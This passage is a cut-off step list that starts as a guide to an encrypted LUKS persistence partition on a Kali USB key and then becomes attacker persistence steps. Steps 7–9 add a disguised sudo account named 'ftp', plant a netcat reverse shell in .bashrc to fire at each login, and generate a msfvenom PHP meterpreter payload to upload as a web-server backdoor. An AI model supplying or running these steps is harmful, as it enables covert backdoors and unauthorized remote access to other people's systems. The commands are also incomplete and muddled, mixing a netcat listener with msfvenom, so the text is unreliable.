Format this new partition with LUKS encryption using cryptsetup luksFormat command.
3. Open the encrypted partition using cryptsetup luksOpen and label it as persistence.
4. Create a mapper for our newly created encrypted store (let’s call this our “persistent config”) using mkfs.ext4 -L persistence /dev/mapper/my_usb command.
5. Mount the partition at “/mnt/my_usb” and create a configuration file for it using echo “/ union” > /mnt/my_usb/persistence.conf command.
6. Unmount and close the encrypted partition using umount /dev/mapper/my_usb and sudo cryptsetup luksClose /dev/mapper/my_usb commands respectively.
7. Add a user account with administrative privileges (let’s call it “ftp”) to the system by running useradd -m -s /bin/bash ftp, usermod -aG sudo ftp and passwd ftp commands respectively.
8. Set up persistence via .bashrc file using nano ~/.bashrc command followed by adding a simple bash command that will provide us with a reverse shell whenever a user logs in: nc -e /bin/bash
9. Set up listener with Netcat on Kali using msfvenom, generating the PHP meterpreter payload and uploading it to the web server as a backdoor by running: msfvenom -p php/meterpreter/reverse_tcp LHOST=
Setting Up Encrypted Persistence on a USB Key
in Linux